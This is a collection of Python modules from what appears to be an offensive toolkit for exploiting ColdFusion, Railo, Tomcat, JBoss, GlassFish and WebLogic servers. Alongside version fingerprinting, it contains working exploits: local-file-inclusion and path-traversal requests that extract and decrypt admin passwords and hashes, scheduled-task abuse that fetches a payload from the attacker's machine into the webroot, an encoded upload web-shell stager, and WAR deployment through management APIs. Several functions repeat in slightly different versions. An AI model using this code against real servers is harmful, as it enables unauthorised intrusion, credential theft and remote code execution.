def run(self, fingerengine, fingerprint): """ Obtains remote Coldfusion information from the reports index page. This pulls the first 26 entries from this report, as there's lots of extraneous stuff. Perhaps if requested I'll prompt to extend to the remainder of the settings. """ if fingerprint.version in ["5.0", "6.0", "6.1"]: return self._run5(fingerengine, fingerprint) utility.Msg("Attempting to retrieve Coldfusion info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/CFIDE/administrator/reports/index.cfm" if fingerprint.version in ["7.0"]: uri = '/CFIDE/administrator/settings/version.cfm' cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return else: cookies = cookies[0] try: response = utility.requests_get(base + uri, cookies=cookies) except Exception, e: utility.Msg("Failed to fetch info: %s" % e, LOG.ERROR) return
def fetch_csrf(ip, fingerprint, url): """ Most of these requests use a CSRF; we can grab this so long as we send the request using the same session token. Returns a tuple of (cookie, csrftoken) """ if fingerprint.version not in ['9.0', '10.0']: # versions <= 8.x do not use a CSRF token return (checkAuth(ip, fingerprint.port, title, fingerprint.version)[0], None) # lets try and fetch CSRF cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0]) else: utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) return False if response.status_code is 200: token = findall("name=\"csrftoken\" value=\"(.*?)\">", response.content) if len(token) > 0: return (cookies[0], token[0]) else: utility.Msg("CSRF appears to be disabled.", LOG.DEBUG) return (cookies[0], None)
def check(self, ip, port=None): """ Snags the version off the default getVersion method. """ try: rport = self.port if port is None else port url = 'http://{0}:{1}{2}'.format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 200: data = findall("version is (.*?)</", response.content.translate(None, '\n')) if len(data) > 0 and self.version in data[0]: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def fetchCSRF(url, cookies): """ Tomcat 6.x is a huge pain; we need the refreshed cookie and CSRF token to correctly undeploy This will return the CSRF token and new session id """ response = None try: csrf = None uri = '/manager/html' response = utility.requests_get(url + uri, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200: data = findall("CSRF_NONCE=(.*?)\"", response.content) if len(data) > 0: csrf = data[0] except Exception as e: utility.Msg( "Failed to fetch CSRF token (HTTP %d)" % response.status_code, LOG.ERROR) csrf = None return (csrf, dict_from_cookiejar(response.cookies))
def fetch_webroot(ip, fingerprint, cookie): """ Fetch the webroot for the CF server; this is where our payload is stashed """ base = "http://{0}:{1}".format(ip, fingerprint.port) if fingerprint.version in ['5.0']: uri = "/CFIDE/administrator/server_settings/mappings.cfm?mapname=/" else: uri = '/CFIDE/administrator/settings/mappings.cfm?mapname=/CFIDE' response = utility.requests_get(base+uri, cookies=cookie) if response.status_code is 200: if fingerprint.version in ['5.0']: data = findall("name=\"DirectoryPath\" value=\"(.*?)\"", response.content) if data and len(data) > 0: data = data[0] else: data = findall("<td nowrap><font class=\"label\"> (.*?) ", response.content) if data and len(data) > 0: data = data[1] if data: return data
def create_task(ip, fingerprint, cfm_file, root): """ Create the task """ url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ format(ip, fingerprint.port) (cookie, csrf) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken" : csrf, "TaskName" : cfm_file, "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run "ScheduleType" : "Once", "StartTimeOnce" : "9:56 PM", # see above "Operation" : "HTTPRequest", "ScheduledURL" : "http://{0}:8000/{1}".format(utility.local_address(), cfm_file), "publish" : "1", "publish_file" : root + "\\" + cfm_file, # slash on OS? "adminsubmit" : "Submit" } if fingerprint.version in ["10.0"]: data['publish_overwrite'] = 'on' response = utility.requests_get(url, cookies=cookie) if response.status_code is 200: # create task response = utility.requests_post(url, data=data, cookies=cookie, headers={'Content-Type':'application/x-www-form-urlencoded'}) if response.status_code is 200: return True
def fetch_webroot(ip, fingerprint): """ Pick out the web root from the settings summary page """ url = "http://{0}:{1}/CFIDE/administrator/reports/index.cfm"\ .format(ip, fingerprint.port) cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) if cookies: req = utility.requests_get(url, cookies=cookies[0]) else: utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) return False if req.status_code is 200: root_regex = "CFIDE </td><td scope=row class=\"cellRightAndBottomBlueSide\">(.*?)</td>" if fingerprint.version in ["7.0"]: root_regex = root_regex.replace("scope=row ", "") data = findall(root_regex, req.content.translate(None, "\n\t\r")) if len(data) > 0: return data[0].replace("\", "\\").replace(":", ":")[:-7] else: return False
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) found = findall("Apache Tomcat Version (.*?)\n", response.content) if len(found) > 0 and self.version in found[0]: return True else: return self.check_error(ip, rport) except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def check(self, ip, port = None): """ This fingerprint is used to check HTTP headers from the responding server. I explicitely note how unreliable these are, as there are many instaces were the results may be incorrect/inconclusive. """ versions = { "JBoss-3.2" : "3.2", "JBoss-4.0" : "4.0", "JBoss-4.2" : "4.2", "JBoss-5.0" : "5.0", # could be 5.0 or 5.1, treat as 5.0 "JBossAS-6" : "6.0" # could be 6.0 or 6.1, treat as 6.0 } try: rport = self.port if port is None else port url = "http://{0}:{1}".format(ip, rport) response = utility.requests_get(url) if 'x-powered-by' in response.headers: powered_by = response.headers['x-powered-by'] for val in versions.keys(): if val in powered_by: self.version = versions[val] return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def run(self, fingerengine, fingerprint): """ Exploit a trivial LFI to pull an encrypted password, which we can then decrypt on Railo <= 4.0. This only works on express versions of Railo, as the Jetty instance is the real culprit here. """ utility.Msg("Attempting to pull password...") base = "http://{0}:{1}/railo-context/admin/img.cfm?attributes.src="\ "../../../../railo-web.xml&thistag.executionmode=start"\ .format(fingerengine.options.ip, fingerprint.port) response = utility.requests_get(base) if response.status_code is 200: data = re.findall("railo-configuration p.*w*?=\"(.*?)\" ", response.content) if len(data) > 0: # determine whether we can decrypt this or not if fingerprint.version in ['3.0', '3.3', '4.0']: utility.Msg("Fetched encrypted password, decrypting...") utility.Msg("Decrypted password: %s" % self.decrypt(data[0]), LOG.SUCCESS) else: utility.Msg("Fetched password hash: %s" % data[0], LOG.SUCCESS) elif response.status_code is 400: utility.Msg("Could not retrieve file; likely that the remote Railo instance is not express", LOG.ERROR) else: utility.Msg("Failed to retrieve file (HTTP %d)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Upload via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True war_file = fingerengine.options.deploy war_path = abspath(war_file) war_name = parse_war_path(war_file) dip = fingerengine.options.ip headers = { "Accept" : "application/json", "X-Requested-By" : "requests" } cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) base = 'http://{0}:{1}'.format(dip, fingerprint.port) uri = '/management/domain/applications/application' data = { 'id' : open(war_path, 'rb'), 'force' : 'true' } response = utility.requests_post(base + uri, files=data, auth=cookie, headers=headers) if response.status_code is 200: if fingerprint.version in ['3.0']: # GF 3.0 ignores context-root and appends a random character string to # the name. We need to fetch it, then set it as our random_int for # invoke support. There's also no list-wars in here... url = base + '/management/domain/applications/application' response = utility.requests_get(url, auth=cookie, headers=headers) if response.status_code is 200: data = json.loads(response.content) for entry in data[u"Child Resources"]: if war_name in entry: rand = entry.rsplit('/', 1)[1] rand = rand.split(war_name)[1] fingerengine.random_int = str(rand) utility.Msg("Deployed {0} to :8080/{0}{1}".format(war_name, rand), LOG.SUCCESS) else: utility.Msg("Deployed {0} to :8080/{0}".format(war_name), LOG.SUCCESS) else: utility.Msg("Failed to deploy {0} (HTTP {1})".format(war_name, response.status_code), LOG.ERROR)
def check_error(self, ip, port): """ """ try: fpath = ''.join( random.choice(string.ascii_lowercase) for x in range(4)) url = "http://{0}:{1}/{2}".format(ip, port, fpath) response = utility.requests_get(url) if response.status_code == 404: data = findall("<h3>(.*?)</h3>", response.content) if len(data) > 0 and self.version in data[0]: return True else: utility.Msg("/%s returned unexpected HTTP code (%d)" %\ (fpath, response.status_code), LOG.DEBUG) except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, port), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, port), LOG.DEBUG) return False
def check(self, ip, port = None): """ """ versions = { "Oracle GlassFish Server 3.0" : "3.0", "GlassFish Server Open Source Edition 3.1" : "3.1", "GlassFish Server Open Source Edition 4.0" : "4.0" } try: rport = self.port if port is None else port url = 'http://{0}:{1}'.format(ip, rport) response = utility.requests_get(url) if 'Server' in response.headers: server = response.headers['Server'] for val in versions.keys(): if val in server: self.version = versions[val] return True except exceptions.Timeout: utility.Msg("{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg("{0} connection error to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) return False
def invoke(url, payload, os, version, pl_file): """ All we need to do is traverse up to the admin-ext-thumbnails directory and invoke our stager """ utility.Msg("Invoking stager and deploying payload...") fetchurl = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, pl_file) # calculate file hash hsh = md5("%s-5000-5000" % fetchurl).hexdigest().upper() url = url.format(hsh) # fire up server server_thread = Thread(target=_serve, args=(payload, )) server_thread.start() sleep(2) r = utility.requests_get(url) if waitServe(server_thread): utility.Msg( "{0} deployed at /railo-context/{0}".format( parse_war_path(payload, True)), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % r.status_code, LOG.ERROR) killServe()
def run(self, fingerengine, fingerprint): cookies = checkAuth(fingerengine.options.ip, fingerprint) if not cookies[0]: utility.Msg("This module requires valid credentials.", LOG.ERROR) return utility.Msg("Attempting to retrieve WebLogic info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.title is WINTERFACES.WLS: base = base.replace('http', 'https') server_name = self.fetchServerName(base, cookies[0]) uri = "/console/console.portal?_nfpb=true&_pageLabel=ServerMonitoringTabmonitoringTabPage&"\ "handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3D{0}"\ "%2CType%3DServer%22%29".format(server_name) response = utility.requests_get(base + uri, cookies=cookies[0]) if response.status_code == 200: tags = findall("class=\"likeLabel\">(.*?):</span>", response.content) values = findall("class=\"inputFieldRO\"><div>(.*?)</div>", response.content.replace('\r\n', '')) if len(tags) > 0: for (key, value) in zip(tags, values): utility.Msg(" %s: %s" % (key, value)) else: utility.Msg("Unable to fetch server '%s' information (HTTP %d)" % (server_name, response.status_code), LOG.ERROR)
def run(self, fingerengine, fingerprint): utility.Msg("Attempting to dump administrative hash...") if float(fingerprint.version) > 8.0: return self.run_latter(fingerengine, fingerprint) directories = ['/CFIDE/administrator/enter.cfm', '/CFIDE/wizards/common/_logintowizard.cfm', '/CFIDE/administrator/archives/index.cfm', '/CFIDE/install.cfm', '/CFIDE/administrator/entman/index.cfm', ] base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) for path in directories: uri = "{0}?locale={1}ColdFusion8"\ "\lib\password.properties%00en" for dots in range(7,12): if fingerengine.options.remote_os == 'linux': t_url = uri.format(path, "../" * dots) else: t_url = uri.format(path, "..\\" * dots) response = utility.requests_get(base + t_url) if response.status_code == 200: pw_hash = re.findall("password=(.*?)\r\n", response.content) if len(pw_hash) > 0: utility.Msg("Administrative hash: %s" % pw_hash[1], LOG.SUCCESS) return
def run(self, fingerengine, fingerprint): cookies = checkAuth(fingerengine.options.ip, fingerprint) if not cookies[0]: utility.Msg("This module requires valid credentials.", LOG.ERROR) return utility.Msg("Obtaining deployed applications...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) uri = "/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage" if fingerprint.title is WINTERFACES.WLS: base = base.replace("http", "https") response = utility.requests_get(base + uri, cookies=cookies[0]) if response.status_code == 200: data = findall(r"title=\"Select (.*?)\"", response.content) if len(data) > 0: for entry in data: utility.Msg("App found: %s" % entry) else: utility.Msg("No applications found.")
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = 'http://{0}:{1}{2}'.format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 200: data = findall("<title>Welcome to Railo (.*?)</title>", response.content) if len(data) > 0 and self.version in data[0]: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def fetch_csrf(ip, fingerprint, url): """ Most of these requests use a CSRF; we can grab this so long as we send the request using the same session token. Returns a tuple of (cookie, csrftoken) """ if fingerprint.version not in ['9.0', '10.0', '11.0']: # versions <= 8.x do not use a CSRF token return (checkAuth(ip, fingerprint.port, title, fingerprint.version)[0], None) # lets try and fetch CSRF cookies = checkAuth(ip, fingerprint.port, title, fingerprint.version) if cookies: response = utility.requests_get(url, cookies=cookies[0]) else: utility.Msg("Could not get auth for %s:%s" % (ip, fingerprint.port), LOG.ERROR) return False if response.status_code is 200: token = findall("name=\"csrftoken\" value=\"(.*?)\">", response.content) if len(token) > 0: return (cookies[0], token[0]) else: utility.Msg("CSRF appears to be disabled.", LOG.DEBUG) return (cookies[0], None)
def run(self, fingerengine, fingerprint): cookies = checkAuth(fingerengine.options.ip, fingerprint) if not cookies[0]: utility.Msg("This module requires valid credentials.", LOG.ERROR) return utility.Msg("Attempting to retrieve WebLogic info...") base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.title is WINTERFACES.WLS: base = base.replace('http', 'https') server_name = self.fetchServerName(base, cookies[0]) uri = "/console/console.portal?_nfpb=true&_pageLabel=ServerMonitoringTabmonitoringTabPage&"\ "handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3D{0}"\ "%2CType%3DServer%22%29".format(server_name) response = utility.requests_get(base + uri, cookies=cookies[0]) if response.status_code == 200: tags = findall("class=\"likeLabel\">(.*?):</span>", response.content) values = findall("class=\"inputFieldRO\"><div>(.*?)</div>", response.content.replace('\r\n', '')) if len(tags) > 0: for (key, value) in zip(tags, values): utility.Msg(" %s: %s" % (key, value)) else: utility.Msg( "Unable to fetch server '%s' information (HTTP %d)" % (server_name, response.status_code), LOG.ERROR)
def check(self, ip, port=None): """ """ versions = { "Oracle GlassFish Server 3.0": "3.0", "GlassFish Server Open Source Edition 3.1": "3.1", "GlassFish Server Open Source Edition 4.0": "4.0" } try: rport = self.port if port is None else port url = 'http://{0}:{1}'.format(ip, rport) response = utility.requests_get(url) if 'Server' in response.headers: server = response.headers['Server'] for val in versions.keys(): if val in server: self.version = versions[val] return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def create_task(ip, fingerprint, cfm_file, root): """ Create the task """ url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ format(ip, fingerprint.port) upload_stager_xss = "/CFIDE/probe.cfm?name=%3Cb%3E%26%23181%3BSH%3C%2Fb%3E%22%3C%2Fh1%3E%3Ccfif%20isDefined(%22Form.File%22)%3E%3Ccftry%3E%3Ccffile%20action%3D%22upload%22%20destination%3D%22%23Expandpath(%22.%22)%23%22%20filefield%3D%22Form.File%22%20nameconflict%3D%22overwrite%22%3EY!%3Ccfcatch%3EN!%3C%2Fcfcatch%3E%3C%2Fcftry%3E%3C%2Fcfif%3E%3Cform%20method%3DPOST%20enctype%3D%22multipart%2Fform-data%22%3E%3Cinput%20type%3Dfile%20name%3D%22File%22%3E%3Cinput%20type%3Dsubmit%20value%3D%22Upload%22%3E%3C%2Fform%3E%3Cscript%3E" (cookie, csrf) = fetch_csrf(ip, fingerprint, url) data = { "csrftoken" : csrf, "TaskName" : cfm_file, "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run "ScheduleType" : "Once", "StartTimeOnce" : "9:56 PM", # see above "Operation" : "HTTPRequest", "ScheduledURL" : "http://{0}:{1}/{2}".format(ip, fingerprint.port, upload_stager_xss), "publish" : "1", "publish_file" : root + "\\" + cfm_file, # slash on OS? "adminsubmit" : "Submit" } response = utility.requests_get(url, cookies=cookie) if response.status_code is 200: # create task response = utility.requests_post(url, data=data, cookies=cookie, headers={'Content-Type':'application/x-www-form-urlencoded'}) if response.status_code is 200: return True
def fetchId(context, url): """ Undeployments require a CSRF token """ response = utility.requests_get(url) data = findall("id=(.*?),war={0}".format(context), response.content) if len(data) > 0: return data[0]